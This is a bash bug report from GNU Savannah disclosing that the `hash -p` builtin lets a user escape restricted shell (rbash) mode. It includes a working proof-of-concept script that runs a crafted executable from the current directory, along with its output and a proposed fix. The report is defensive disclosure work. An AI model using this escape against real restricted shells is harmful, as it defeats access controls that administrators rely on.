URL:
  <https://savannah.gnu.org/bugs/?68870>

                 Summary: hash/BASH_CMDS escape from restricted shell
                   Group: The GNU Bourne-Again SHell
               Submitter: privat
               Submitted: lun. 02 nov. 2026 00:20:49
                Category: None
                Severity: 3 - Normal
                Priority: 5 - Normal
              Item Group: None
                  Status: None
                 Privacy: Private
             Assigned to: None
             Open/Closed: Open
         Discussion Lock: Unlocked


    _______________________________________________________

Follow-up Comments:


-------------------------------------------------------
Date: lun. 02 nov. 2026 00:20:49     By: Jean Privat <privat>
Note: Since it can be used to bypass restricted shell I prefer to make the
issue private, but if any, it's low risk since restricted shell are rare and
some initial conditions are required.

In unrestricted mode, `hash -p` is liberal and accepts whatever path is
given.

In restricted mode, `hash -p` checks that there is no / in the pathname and
that the name resolves to an executable in PATH.
This check is wrong as the pathnames are not expected to be executable names
but absolute or relative paths that are allowed to be executed.
A restricted user can abuse the `hash` builtin to execute programs in cwd even
if `.` is not in the PATH.

Here is a POC where the user executes a program from cwd although . is not in
PATH.

```
#!/bin/rbash
set -x
ls # success, and fill the hash
hash -l # show: builtin hash -p /usr/bin/ls ls 
hash -p ls id # legal because: ls in the PATH (it is an incorrect check) and
because id is also in the PATH (this check seems unnecessary)
id # fails, because no ls in cwd
hash -p /usr/bin/ls ls # illegal, although /usr/bin/ls is the correct path to
ls
tee ls <<<'echo unrestricted'; chmod +x ls # or any way to have/make/use
executable in cwd
ls # still ls from PATH
id # run the crafted ls in the current directory
```

and the result

```
+ ls
poc.sh
+ hash -l
builtin hash -p /usr/bin/ls ls
+ hash -p ls id
+ id
poc.sh: line 6: ls: No such file or directory
+ hash -p /usr/bin/ls ls
poc.sh: line 7: hash: /usr/bin/ls: restricted
+ tee ls
echo unrestricted
+ chmod +x ls
+ ls
ls  poc.sh
+ id
unrestricted
```

As a fix, hash should check that the given pathname is a path to an allowed
executable regardless of the presence of /. e.g. just check that the dirname
of the pathname is in PATH.
A simpler approach could be to just disallow `-p` (and make `BASH_CMDS`
readonly), since hash is quite limited in restricted mode and the allowed
behavior is mostly buggy.







    _______________________________________________________

Reply to this item at:

  <https://savannah.gnu.org/bugs/?68870>

_______________________________________________
Message posté via Savannah
https://savannah.gnu.org/

Attachment: signature.asc
Description: PGP signature

Reply via email to